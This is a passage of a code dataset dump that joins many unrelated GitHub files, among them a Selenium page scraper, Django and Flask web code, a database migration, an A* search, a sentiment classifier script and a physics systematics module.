post1])\n","repo_name":"SimenHolmestad/kr-ac","sub_path":"forum/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74496396249","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# standard imports\nimport sys\nimport time\nimport re\nimport json\n\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup\nfrom pyvirtualdisplay import Display\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.chrome.options import Options\n\ndef wait_second(sec):\n print('wait for {} second ...'.format(sec))\n time.sleep(sec)\n\n\ndef init_webdriver():\n SPROXY = 'socks5://127.0.0.1:1080'\n chrome_options = Options()\n #chrome_options.add_argument('--headless')\n chrome_options.add_argument('--proxy-server=%s' % SPROXY)\n chrome_options.add_argument('--window-size=1920x1080')\n return(webdriver.Chrome(chrome_options=chrome_options))\n\n \ndef get_ip_info(webdrv):\n webdrv.get('http://www.flowyourvideo.com/embed/5b18bcb235d9e')\n wait_second(20)\n timings = webdrv.execute_script(\"return window.performance.getEntries();\")\n #print(timings)\n json_txt = json.dumps(timings, sort_keys=True, indent=4, separators=(',', ': '))\n print(json_txt)\n html_id = 0\n with open('json_%d.html' % (html_id), 'w', encoding='utf-8') as fp:\n try:\n fp.write(str(json_txt))\n fp.close()\n except:\n pass\n\n html = webdrv.page_source\n html_id = 0\n with open('video_%d.html' % (html_id), 'w', encoding='utf-8') as fp:\n try:\n _pretty = BeautifulSoup(html, 'lxml').prettify()\n fp.write(str(_pretty))\n fp.close()\n except:\n pass\n\ndef exit_web(webdrv):\n webdrv.quit()\n\n\nif __name__=='__main__':\n webdrv = init_webdriver()\n get_ip_info(webdrv)\n exit_web(webdrv)\n sys.exit()\n","repo_name":"LifeGo/bbtv","sub_path":"vurl.py","file_name":"vurl.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19769354055","text":"import math\n\na = int(input())\nb = int(input())\nc = int(input())\nd = int(input())\ne = int(input())\n\norders = [a, b, c, d, e]\nanswer = 0\n\nfor order in orders:\n answer += 10*(math.ceil(order/10))\n\nmod_minus = []\nfor order in orders:\n minus = 10 - order%10\n if minus == 10:\n mod_minus.append(0) \n else:\n mod_minus.append(10 - order%10)\n\nprint(answer - max(mod_minus))","repo_name":"shimomura314/AtcoderCodes","sub_path":"ABC123/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25039429978","text":"import boto3\nfrom django.conf import settings\nfrom rest_framework import serializers\n\nfrom api_company.choices import ExperimentEntryTypeChoices\nfrom api_company.models import ExperimentEntry\n\n\nclass ExperimentEntrySerializer(serializers.ModelSerializer):\n file_source = serializers.SerializerMethodField()\n file_name = serializers.SerializerMethodField()\n\n def get_file_source(self, entry):\n if entry.type == ExperimentEntryTypeChoices.IMAGE.name or entry.type == ExperimentEntryTypeChoices.FILE.name:\n session = boto3.Session(settings.AWS_ACCESS_KEY, settings.AWS_SECRET_ACCESS_KEY)\n s3Client = session.client(\"s3\")\n _uri = s3Client.generate_presigned_url(\n 'get_object',\n Params={'Bucket': self.context['request'].user.company.bucket_name, 'Key': entry.data}\n )\n return _uri\n else:\n return ''\n\n def get_file_name(self, entry):\n if entry.type == ExperimentEntryTypeChoices.IMAGE.name or entry.type == ExperimentEntryTypeChoices.FILE.name:\n data = entry.data.split('/')\n return data[len(data) - 1]\n else:\n return ''\n\n class Meta:\n model = ExperimentEntry\n fields = (\n 'id',\n 'experiment',\n 'data',\n 'file_source',\n 'file_name',\n 'type',\n 'order',\n 'column',\n 'row',\n 'created_at'\n )\n","repo_name":"devkingjan/django-angular","sub_path":"backend/api_company/serializers/experiment_entry.py","file_name":"experiment_entry.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27892589066","text":"from dataclasses import dataclass\nimport functools\nimport json\n\nimport flask\nfrom flask import (\n Blueprint, flash, g, redirect, render_template, request, session, url_for, current_app\n)\nimport folium\nimport requests\n\nfrom . import search_utils as su\n\nbp = Blueprint('locations', __name__, url_prefix='/locations')\n\n\nHOST = 'data.usajobs.gov'\nBASE_URL = 'https://data.usajobs.gov/api/search?'\n\n@dataclass\nclass Location:\n name: str\n lat_long: list\n\n\n@bp.route(\"\")\ndef locations(job_id):\n\n print('#'*25, job_id)\n payload, continental_us, searched, page, number_of_pages = su.get_flask_request_args(flask.request.args)\n\n payload['Page'] = su.set_page(payload, page, number_of_pages)\n url = su.make_url(BASE_URL, payload)\n request = requests.request('GET',\n url,\n headers={'Host': HOST,\n 'User-Agent': current_app.config['USER_AGENT'],\n 'Authorization-Key': current_app.config['API_KEY']})\n search_results = json.loads(request.content.decode('utf-8'))\n\n _search_results = search_results['SearchResult']\n _search_result_items = _search_results.get('SearchResultItems')\n\n for result in _search_result_items:\n _matched_object_descriptor = result['MatchedObjectDescriptor']\n position_id = _matched_object_descriptor['PositionID'] \n if position_id == job_id:\n locations = []\n\n for _position_location in _matched_object_descriptor['PositionLocation']:\n location = _position_location['LocationName']\n lat_long = [float(_position_location['Latitude']), float(_position_location['Longitude'])]\n\n locations.append(Location(location, lat_long))\n\n break\n \n sw = min([lat.lat_long[0] for lat in locations]), min([lat.lat_long[1] for lat in locations])\n ne = max([long.lat_long[0] for long in locations]), max([long.lat_long[1] for long in locations])\n\n folium_map = folium.Map()\n folium_map.fit_bounds([sw, ne])\n for location in locations:\n tool_tip = f'''{location.name}\n '''\n folium.Marker(location.lat_long, tooltip=tool_tip).add_to(folium_map)\n\n folium.raster_layers.TileLayer(tiles='stamenterrain', name='Stamen Terrain').add_to(folium_map)\n folium.LayerControl().add_to(folium_map)\n\n print(locations)\n\n payload = {}\n payload['map'] = folium_map._repr_html_()\n\n return render_template('locations.html', content=payload)\n \n","repo_name":"chadat23/usajobsmapper2","sub_path":"usajobsmapper/locations.py","file_name":"locations.py","file_ext":"py","file_size_in_byte":2570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74808367448","text":"def solution(phone_book):\n\tfor i in range(len(phone_book) - 1):\n\t\tfor j in range(i + 1, len(phone_book)):\n\t\t\tnum1 = phone_book[i]\n\t\t\tnum2 = phone_book[j]\n\t\t\tif num1 == num2[:len(num1)] or num2 == num1[:len(num2)]:\n\t\t\t\treturn False\n\treturn True\n\na = [\"119\", \"97674223\", \"1195524421\"]\nb = [\"123\",\"456\",\"789\"]\t\nc = [\"12\",\"123\",\"1235\",\"567\",\"88\"]\t\n\nprint(solution(a)) # False\nprint(solution(b)) # True\nprint(solution(c)) # False\n\n\"\"\"\n< 다이렉트패스 못한 이유 >\n전화번호 갯수 짤라서 (slice) 해서 비교하자는게 기본 아이디어 였는데\n입력이 숫자로 들어오는것을 고려하지 않아서 int has no len() 에러 떨어짐\n\t=> 이거 내가 테스트케이스에 숫자로한거지 문제에선 문자였네...zzzzzzz\n\n* 데이터타입을 항상 생각하자! ( 문제든 솔루션 내에서든 )\n\n\"\"\"\n\n# 집함수\na = [1,2,3]\nb = [\"a\", \"b\", \"c\"]\n\nprint(list(zip(a, b)))\n\n# startswith\na = \"abc\"\nb = \"abcde\"\nc = \"zz\"\n\nprint(b.startswith(a))\nprint(b.startswith(c))","repo_name":"bpeak/practice-algo","sub_path":"programmers/전화번호목록.py","file_name":"전화번호목록.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9404044393","text":"import frappe\nfrom frappe.model.document import Document\nfrom sap.qr_generator import get_qr\nfrom sap.api import send_product_to_sap\n\n\nclass ProductOrder(Document):\n def before_save(self):\n self.selected_product = []\n for item in self.product_details:\n data = {\n 'customer_no': self.customer_no,\n 'customer_name': self.customer_name,\n 'item_no': self.item_serial,\n 'product_no': self.item_no,\n 'item_type': self.item_type\n }\n\n item.qr_code = get_qr(data)\n\n def before_submit(self):\n resp = send_product_to_sap(self.name)\n if not resp[\"success\"]:\n frappe.throw(resp[\"message\"])\n else:\n for item in self.product_details:\n item.item_status = \"Sent to SAP\"\n","repo_name":"ahmed751995/sap","sub_path":"sap/sap/doctype/product_order/product_order.py","file_name":"product_order.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12553031016","text":"from django.shortcuts import render\nfrom a4.forms import*\nfrom a4.models import*\nfrom django.shortcuts import render_to_response\nfrom django.http import HttpResponseRedirect\nfrom django.template import RequestContext\n\ndef mysearch (request):\n if request.method == \"GET\":\n return render(request, 'webapp.html', {})\n\ndef c_course(request):\n if request.method == 'POST':\n form = CourseForm(request.POST)\n if form.is_valid():\n c = Course(course_name=form.cleaned_data[\"course_name\"],\n course_code=form.cleaned_data[\"course_code\"],\n course_classroom=form.cleaned_data[\"course_classroom\"],\n course_times=form.cleaned_data[\"course_time\"])\n c.save()\n return HttpResponseRedirect('/courses/')\n\n\ndef t_teacher(request):\n if request.method == 'POST':\n form = TeacherForm(request.POST)\n if form.is_valid():\n t = Teacher(first_name=form.cleaned_data[\"first_name\"],\n last_name=form.cleaned_data[\"last_name\"],\n office_details=form.cleaned_data[\"office_details\"],\n phone=form.cleaned_data[\"phone\"],\n email=form.cleaned_data[\"email\"])\n t.save()\n return HttpResponseRedirect('/teachers/')\n\ndef s_student(request):\n if request.method == 'POST':\n form = StudentForm(request.POST)\n if form.is_valid():\n s = Student(first_name=form.cleaned_data[\"first_name\"],\n last_name=form.cleaned_data[\"last_name\"],\n email=form.cleaned_data[\"email\"])\n s.save()\n return HttpResponseRedirect('/students/')\n\n","repo_name":"suhedaarici/a4cs361","sub_path":"a4/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"342755090","text":"#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom migrate.changeset import constraint\nimport sqlalchemy\n\nfrom heat.db.sqlalchemy import types\nfrom heat.db.sqlalchemy import utils as migrate_utils\n\n\ndef upgrade(migrate_engine):\n meta = sqlalchemy.MetaData(bind=migrate_engine)\n\n resource = sqlalchemy.Table('resource', meta, autoload=True)\n raw_template = sqlalchemy.Table('raw_template', meta, autoload=True)\n\n needed_by = sqlalchemy.Column('needed_by', types.List)\n requires = sqlalchemy.Column('requires', types.List)\n replaces = sqlalchemy.Column('replaces', sqlalchemy.Integer)\n replaced_by = sqlalchemy.Column('replaced_by', sqlalchemy.Integer)\n current_template_id = sqlalchemy.Column('current_template_id',\n sqlalchemy.Integer)\n needed_by.create(resource)\n requires.create(resource)\n replaces.create(resource)\n replaced_by.create(resource)\n current_template_id.create(resource)\n\n fkey = constraint.ForeignKeyConstraint(\n columns=[resource.c.current_template_id],\n refcolumns=[raw_template.c.id],\n name='current_template_fkey_ref')\n fkey.create()\n\n\ndef downgrade(migrate_engine):\n if migrate_engine.name == 'sqlite':\n _downgrade_sqlite(migrate_engine)\n return\n\n meta = sqlalchemy.MetaData(bind=migrate_engine)\n\n resource = sqlalchemy.Table('resource', meta, autoload=True)\n raw_template = sqlalchemy.Table('raw_template', meta, autoload=True)\n\n fkey = constraint.ForeignKeyConstraint(\n columns=[resource.c.current_template_id],\n refcolumns=[raw_template.c.id],\n name='current_template_fkey_ref')\n fkey.drop()\n resource.c.current_template_id.drop()\n resource.c.needed_by.drop()\n resource.c.requires.drop()\n resource.c.replaces.drop()\n resource.c.replaced_by.drop()\n\n\ndef _downgrade_sqlite(migrate_engine):\n meta = sqlalchemy.MetaData()\n meta.bind = migrate_engine\n\n resource_table = sqlalchemy.Table('resource', meta, autoload=True)\n\n ignorecons = ['current_template_fkey_ref']\n ignorecols = [resource_table.c.current_template_id.name,\n resource_table.c.needed_by.name,\n resource_table.c.requires.name,\n resource_table.c.replaces.name,\n resource_table.c.replaced_by.name]\n new_resource = migrate_utils.clone_table('new_resource',\n resource_table,\n meta, ignorecols=ignorecols,\n ignorecons=ignorecons)\n\n # migrate resources to new table\n migrate_utils.migrate_data(migrate_engine,\n resource_table,\n new_resource,\n skip_columns=ignorecols)\n","repo_name":"chiehchu/heat","sub_path":"heat/db/sqlalchemy/migrate_repo/versions/060_resource_convg_data.py","file_name":"060_resource_convg_data.py","file_ext":"py","file_size_in_byte":3364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"22526827322","text":"\nimport sys\nimport socket\n\nINTEGER_BYTES = 8\n\ndef send(socket, bytes):\n length = len(bytes)\n length_header = length.to_bytes(length=INTEGER_BYTES, byteorder=sys.byteorder)\n socket.sendall(length_header + bytes)\n\ndef _ensure_recv(socket, n_bytes):\n data = bytes()\n while len(data) < n_bytes:\n r = socket.recv(n_bytes - len(data))\n if not r:\n raise RuntimeError\n data += r\n return data\n\ndef recv(socket):\n length_header = _ensure_recv(socket, INTEGER_BYTES)\n length = int.from_bytes(length_header, byteorder=sys.byteorder)\n if length > 0:\n return _ensure_recv(socket, length)\n return bytes()","repo_name":"bornabesic/ex-machina","sub_path":"exmachina/protocol.py","file_name":"protocol.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"4415173083","text":"import pandas as pd, matplotlib.pyplot as plt\nfrom scipy.io.arff import loadarff\nfrom sklearn import metrics, tree\nfrom sklearn.model_selection import train_test_split\n\n# Read the ARFF file and prepare data\ndata = loadarff(\"./data/column_diagnosis.arff\")\ndf = pd.DataFrame(data[0])\ndf[\"class\"] = df[\"class\"].str.decode(\"utf-8\")\nX, y = df.drop(\"class\", axis=1), df[\"class\"]\n\nDEPTH_LIMIT = [1, 2, 3, 4, 5, 6, 8, 10]\ntraining_accuracy, test_accuracy = [], []\n\n# Split the dataset into a testing set (30%) and a training set (70%)\nX_train, X_test, y_train, y_test = train_test_split(\n X, y, test_size=0.3, stratify=y, random_state=0\n)\n\nfor depth_limit in DEPTH_LIMIT:\n # Create and fit the decision tree classifier\n predictor = tree.DecisionTreeClassifier(\n max_depth=depth_limit, random_state=0\n )\n predictor.fit(X_train, y_train)\n\n # Use the decision tree to predict the outcome of the given observations\n y_train_pred = predictor.predict(X_train)\n y_test_pred = predictor.predict(X_test)\n\n # Get the accuracy of each test\n train_acc = metrics.accuracy_score(y_train, y_train_pred)\n training_accuracy.append(train_acc)\n test_acc = metrics.accuracy_score(y_test, y_test_pred)\n test_accuracy.append(test_acc)\n\nplt.plot(\n DEPTH_LIMIT, training_accuracy,\n label=\"Training Accuracy\", marker=\"+\", color=\"#f8766d\"\n)\nplt.plot(\n DEPTH_LIMIT, test_accuracy,\n label=\"Test Accuracy\", marker=\".\", color=\"#00bfc4\"\n)\n\nplt.xlabel(\"Depth Limit\")\nplt.ylabel(\"Accuracy\")\n\nplt.legend()\nplt.grid(True)\nplt.show()\n","repo_name":"goncalobarias/Homeworks-ML","sub_path":"hw1/report/assets/code_2.py","file_name":"code_2.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"4019514258","text":"def traceBack(cameFromMap, current):\n result = [current]\n while current in cameFromMap.keys():\n current = cameFromMap[current]\n result.append(current)\n return result[::-1]\n\ndef dosomeastarxxx(start, goal, get_neighbours_of, neighbour_distance, heuristic, is_goal_reached=lambda a,b:a==b):\n inf = float(\"inf\")\n closedSet = []\n openSet = [start]\n # for each node: the most efficient preceding node\n cameFromMap = {}\n # for each node: the cost of getting there from start\n gScoreMap = {start: 0}\n # for each node: the total cost of getting from start to goal through that node, partly heuristic\n fScoreMap = {start: heuristic(start, goal)}\n\n while len(openSet):\n current = min(openSet, key=lambda node: fScoreMap.get(node, inf))\n if is_goal_reached(current, goal):\n return [fScoreMap[current], traceBack(cameFromMap, current)]\n openSet.remove(current)\n closedSet.append(current)\n\n for neighbour in get_neighbours_of(current):\n # Misschien is deze sneller als `closedSet` een `set()` is?\n if neighbour in closedSet:\n continue\n # Misschien kan deze check nog meer sneller als we van `openSet` een `set()` maken?\n if not neighbour in openSet:\n openSet.append(neighbour)\n newGScore = gScoreMap[current] + neighbour_distance(current, neighbour)\n if newGScore < gScoreMap.get(neighbour,inf):\n cameFromMap[neighbour] = current\n gScoreMap[neighbour] = newGScore\n fScoreMap[neighbour] = newGScore + heuristic(neighbour, goal)\n return [0,[]]\n\nedges = {\n \"A\": {\"S\": 7, \"B\": 3, \"D\": 4},\n \"C\": {\"S\": 3, \"L\": 2},\n \"B\": {\"A\": 3, \"H\": 1,\n \"S\": 2, \"D\": 4},\n \"E\": {\"K\": 5, \"G\": 2},\n \"D\": {\"A\": 4, \"B\": 4, \"F\": 5},\n \"G\": {\"H\": 2, \"E\": 2},\n \"F\": {\"H\": 3, \"D\": 5},\n \"I\": {\"K\": 4, \"J\": 6, \"L\": 4},\n \"H\": {\"B\": 1, \"G\": 2, \"F\": 3},\n \"K\": {\"I\": 4, \"J\": 4, \"E\": 5},\n \"J\": {\"I\": 6, \"K\": 4, \"L\": 4},\n \"L\": {\"I\": 4, \"C\": 2, \"J\": 4},\n \"S\": {\"A\": 7, \"C\": 3, \"B\": 2},\n}\n\nresult = dosomeastarxxx('S', 'E', lambda x: edges[x], lambda current, neighbour: edges[current][neighbour], lambda x, y: 0)\n\nprint('result: ' + str(result))\n","repo_name":"dralletje/The-Guide-Intro-Programming-You-ve-Always-Wanted-But-Never-Had-Ik-ben-Rachid-Dinosaurier","sub_path":"A-plus.py","file_name":"A-plus.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"36726288219","text":"\"\"\"\nThis module contains methods for extracting text sentiment from texts\n\"\"\"\nimport torch\nimport pandas as pd\nimport numpy as np\nfrom transformers import AutoTokenizer, AutoModelForSequenceClassification, Trainer\n# ref: https://colab.research.google.com/github/chrsiebert/sentiment-roberta-large-english/blob/main/sentiment_roberta_prediction_example.ipynb\n# Create class for data preparation\nclass SimpleDataset:\n def __init__(self, tokenized_texts):\n self.tokenized_texts = tokenized_texts\n \n def __len__(self):\n return len(self.tokenized_texts[\"input_ids\"])\n \n def __getitem__(self, idx):\n return {k: v[idx] for k, v in self.tokenized_texts.items()}\n\nclass Sentiment_Extractor:\n def __init__(self,input_file_name,text_column,output_file_name):\n self.input_file_name = input_file_name\n self.text_column = text_column\n self.output_file_name = output_file_name\n def run(self):\n # Load tokenizer and model, create trainer\n model_name = \"siebert/sentiment-roberta-large-english\"\n tokenizer = AutoTokenizer.from_pretrained(model_name)\n model = AutoModelForSequenceClassification.from_pretrained(model_name)\n trainer = Trainer(model=model)\n\n df_pred = pd.read_csv(self.input_file_name,encoding='cp1255')\n pred_texts = df_pred[self.text_column].dropna().astype('str').tolist()\n\n # Tokenize texts and create prediction data set\n tokenized_texts = tokenizer(pred_texts,truncation=True,padding=True)\n pred_dataset = SimpleDataset(tokenized_texts)\n\n # Run predictions\n predictions = trainer.predict(pred_dataset)\n\n # Transform predictions to labels\n preds = predictions.predictions.argmax(-1)\n labels = pd.Series(preds).map(model.config.id2label)\n scores = (np.exp(predictions[0])/np.exp(predictions[0]).sum(-1,keepdims=True)).max(1)\n\n # Create DataFrame with texts, predictions, labels, and scores\n df = pd.DataFrame(list(zip(pred_texts,preds,labels,scores)), columns=['text_sentiment','pred_sentiment','label_sentiment','score_sentiment'])\n df_output = df_pred.merge(df,left_on=self.text_column,right_on='text_sentiment')\n del df_output['text_sentiment']\n df_output.to_csv(self.output_file_name,encoding='cp1255',index=False)\n \nif __name__ == \"__main__\":\n # Arguments\n # INPUT_FILE_NAME is the name of the input file\n INPUT_FILE_NAME = \"tagging_MMD_db_with_summarized.csv\"\n # TEXT_COLUMN is the name of the text column in the input file\n # from which we extract the positive / negative sentiment by the 🤗 model.\n TEXT_COLUMN = \"text\"\n OUTPUT_FILE_NAME = 'tagging_MMD_db_with_sentiment.csv'\n\n # Run Sentiment_Extractor on the given arguments\n obj = Sentiment_Extractor(INPUT_FILE_NAME,OUTPUT_FILE_NAME)\n obj.run()","repo_name":"unt2tled/political-campaign-project","sub_path":"tools/text_sentiment.py","file_name":"text_sentiment.py","file_ext":"py","file_size_in_byte":2856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15635168285","text":"#!/usr/bin/python3\nimport sys\nimport itertools\nfrom collections import defaultdict, Counter, deque\n\ninfile = sys.argv[1] if len(sys.argv)>1 else '13.in'\n\ndid_p1 = False\nG = {}\nfor line in open(infile):\n line = line.strip()\n if line and line.startswith('fold'):\n G2 = {}\n instr = line.split()[-1]\n d,v = instr.split('=')\n v = int(v)\n if d == 'x':\n for (x,y) in G:\n if x < v:\n G2[(x,y)] = True\n else:\n G2[(v-(x-v), y)] = True\n else:\n assert d == 'y'\n for (x,y) in G:\n if y < v:\n G2[(x,y)] = True\n else:\n G2[(x, v-(y-v))] = True\n G = G2\n if not did_p1:\n did_p1 = True\n print(len(G2))\n elif line:\n x,y = [int(v) for v in line.strip().split(',')]\n G[(x,y)] = True\n\nX = max([x for x,y in G.keys()])\nY = max([y for x,y in G.keys()])\n\nans = ''\nfor y in range(Y+1):\n for x in range(X+1):\n ans += ('x' if (x,y) in G else ' ')\n print(ans)\n ans = ''\n","repo_name":"jonathanpaulson/AdventOfCode","sub_path":"2021/13.py","file_name":"13.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":199,"dataset":"github-code","pt":"31"} +{"seq_id":"22065260901","text":"'''Write a program that tells the user to enter a string. \r\nThe program has to evaluate the string and tell \r\nhow many uppercase letters it has.'''\r\n\r\n#Ana Bolinos has a Black Sphere and her dog Lucas has a Red collar.\r\n\r\ndef user():\r\n count = 0\r\n user = input('Enter a text: ')\r\n for word in user:\r\n if word != word.lower():\r\n count += 1\r\n print(\"The text has\", count, \"capital letters\") \r\n\r\nuser() \r\n\r\n","repo_name":"Anaid93/Python-code-challenges-2","sub_path":"challenge18.py","file_name":"challenge18.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"8994817382","text":"# encoding: utf-8\n'''\nsystematics.py\n\ndescription:\n\n'''\n## modules\n\n# - - - - - - - - - - - class defs - - - - - - - - - - - - #\n#------------------------------------------------------------\nclass Systematic(object):\n '''\n class to hold info about systematics \n '''\n #____________________________________________________________\n def __init__(self,\n name,\n title=None,\n var_up=None,\n var_dn=None,\n flat_err=None,\n onesided=None,\n envelope=None,\n constituents=None,\n symmetrize=None,\n ):\n self.name = name\n if not title: title = name\n self.title = title\n self.var_up=var_up\n self.var_dn=var_dn\n self.flat_err=flat_err\n self.onesided = onesided\n self.envelope = envelope\n self.constituents = constituents\n self.symmetrize = symmetrize\n assert (self.var_up or self.var_dn) or self.flat_err!=None or (self.envelope!=None and self.constituents!=None), 'Must provide either up and dn vars or a flat err!'\n\n\nsys_dict = {}\n# Specific for categories (acceptance unc)\n\n# SYS1 = sys_dict['SYS1'] = Systematic(\n# 'SYS1',\n# var_up='SYS1_UP',\n# var_dn='SYS1_DN'\n# )\n# SYS2 = sys_dict['SYS2'] = Systematic(\n# 'SYS2','$\\\\sigma_{\\\\rm Diboson}$', \n# flat_err=0.05,\n# )\n\n\n#________________________________________________________________________________________\n# LPX_KFACTOR_CHOICE_HERAPDF20/LPX_KFACTOR_CHOICE_NNPDF30 Systematics that cover the variation of the k-Factor due to a specific choice of a model dependent PDF.\n# LPX_KFACTOR_BEAM_ENERGY Systematic that covers the variation in the Beam Energy.\n# LPX_KFACTOR_PDF_EV1-7 Seven PDF uncertainty bundles. Either use these or the PDF up/down.\n# LPX_KFACTOR_PDF_1up/1down 90% C.L. eigen-vector variation uncertainty based on the nominal PDF choice (CT14nnlo).\n# LPX_KFACTOR_PI_1up/1down Systematic uncertainty of the Photon-Induced k-Factor.\n# LPX_SCALE_Z_1up/1down Scale uncertainty of the NC DY process.\n# LPX_SCALE_W_1up/1down Scale uncertainty of the CC DY process. \n#_________________________________________________________________________________________\n# BEAM = sys_dict['BEAM'] = Systematic(\n# 'BEAM',\n# var_up='BEAM_UP',\n# var_dn='BEAM_DN'\n# )\n# CHOICE = sys_dict['CHOICE'] = Systematic(\n# 'CHOICE',\n# var_up='CHOICE_UP',\n# var_dn='CHOICE_DN'\n# )\n# PDF = sys_dict['PDF'] = Systematic(\n# 'PDF',\n# var_up='PDF_UP',\n# var_dn='PDF_DN'\n# )\n# PI = sys_dict['PI'] = Systematic(\n# 'PI',\n# var_up='PI_UP',\n# var_dn='PI_DN'\n# )\n# SCALE_Z = sys_dict['SCALE_Z'] = Systematic(\n# 'SCALE_Z',\n# var_up='SCALE_Z_UP',\n# var_dn='SCALE_Z_DN'\n# )\n\n#_________________________________________________________________________________________\n# Tree Systematics\n#_________________________________________________________________________________________\n#electron\n#_________________________________________________________________________________________\nEG_RESOLUTION_ALL = sys_dict['EG_RESOLUTION_ALL'] = Systematic(\n 'EG_RESOLUTION_ALL',\n var_up='EG_RESOLUTION_ALL_UP',\n var_dn='EG_RESOLUTION_ALL_DN'\n )\nEG_SCALE_ALLCORR = sys_dict['EG_SCALE_ALLCORR'] = Systematic(\n 'EG_SCALE_ALLCORR',\n var_up='EG_SCALE_ALLCORR_UP',\n var_dn='EG_SCALE_ALLCORR_DN',\n symmetrize = True,\n )\nEG_SCALE_E4SCINTILLATOR = sys_dict['EG_SCALE_E4SCINTILLATOR'] = Systematic(\n 'EG_SCALE_E4SCINTILLATOR',\n var_up='EG_SCALE_E4SCINTILLATOR_UP',\n var_dn='EG_SCALE_E4SCINTILLATOR_DN'\n )\n# muon\n#_________________________________________________________________________________________\nMUON_ID = sys_dict['MUON_ID'] = Systematic(\n 'MUON_ID',\n var_up='MUON_ID_UP',\n var_dn='MUON_ID_DN'\n )\nMUON_MS = sys_dict['MUON_MS'] = Systematic(\n 'MUON_MS',\n var_up='MUON_MS_UP',\n var_dn='MUON_MS_DN'\n )\nMUON_RESBIAS = sys_dict['MUON_RESBIAS'] = Systematic(\n 'MUON_RESBIAS',\n var_up='MUON_RESBIAS_UP',\n var_dn='MUON_RESBIAS_DN'\n )\nMUON_RHO = sys_dict['MUON_RHO'] = Systematic(\n 'MUON_RHO',\n var_up='MUON_RHO_UP',\n var_dn='MUON_RHO_DN',\n symmetrize = True,\n )\nMUON_SCALE = sys_dict['MUON_SCALE'] = Systematic(\n 'MUON_SCALE',\n var_up='MUON_SCALE_UP',\n var_dn='MUON_SCALE_DN'\n )\n\n# EG_SCALE_LARCALIB_EXTRA2015PRE = sys_dict['EG_SCALE_LARCALIB_EXTRA2015PRE'] = Systematic(\n# 'EG_SCALE_LARCALIB_EXTRA2015PRE',\n# var_up='EG_SCALE_LARCALIB_EXTRA2015PRE_UP',\n# var_dn='EG_SCALE_LARCALIB_EXTRA2015PRE_DN'\n# )\n# EG_SCALE_LARTEMPERATURE_EXTRA2015PRE = sys_dict['EG_SCALE_LARTEMPERATURE_EXTRA2015PRE'] = Systematic(\n# 'EG_SCALE_LARTEMPERATURE_EXTRA2015PRE',\n# var_up='EG_SCALE_LARTEMPERATURE_EXTRA2015PRE_UP',\n# var_dn='EG_SCALE_LARTEMPERATURE_EXTRA2015PRE_DN'\n# )\n# EG_SCALE_LARTEMPERATURE_EXTRA2016PRE = sys_dict['EG_SCALE_LARTEMPERATURE_EXTRA2016PRE'] = Systematic(\n# 'EG_SCALE_LARTEMPERATURE_EXTRA2016PRE',\n# var_up='EG_SCALE_LARTEMPERATURE_EXTRA2016PRE_UP',\n# var_dn='EG_SCALE_LARTEMPERATURE_EXTRA2016PRE_DN'\n# )\n\n\nFF = sys_dict['FF'] = Systematic(\n 'FF',\n var_up='FF_UP',\n var_dn='FF_DN'\n )\n\nCF = sys_dict['CF'] = Systematic(\n 'CF',\n var_up='CF_UP',\n var_dn='CF_DN'\n )\n\nTRIG = sys_dict['TRIG'] = Systematic(\n 'TRIG',\n var_up='TRIG_UP',\n var_dn='TRIG_DN'\n )\n\nID = sys_dict['ID'] = Systematic(\n 'ID',\n var_up='ID_UP',\n var_dn='ID_DN'\n )\n\nISO = sys_dict['ISO'] = Systematic(\n 'ISO',\n var_up='ISO_UP',\n var_dn='ISO_DN'\n )\n\nRECO = sys_dict['RECO'] = Systematic(\n 'RECO',\n var_up='RECO_UP',\n var_dn='RECO_DN'\n )\n\n# muon\n#_________________________________________________________________________________________\nMUFF = sys_dict['MUFF'] = Systematic(\n 'MUFF',\n var_up='MUFF_UP',\n var_dn='MUFF_DN'\n )\n\nTRIGSTAT = sys_dict['TRIGSTAT'] = Systematic(\n 'TRIGSTAT',\n var_up='TRIG_UPSTAT',\n var_dn='TRIG_DNSTAT'\n )\nTRIGSYS = sys_dict['TRIGSYS'] = Systematic(\n 'TRIGSYS',\n var_up='TRIG_UPSYS',\n 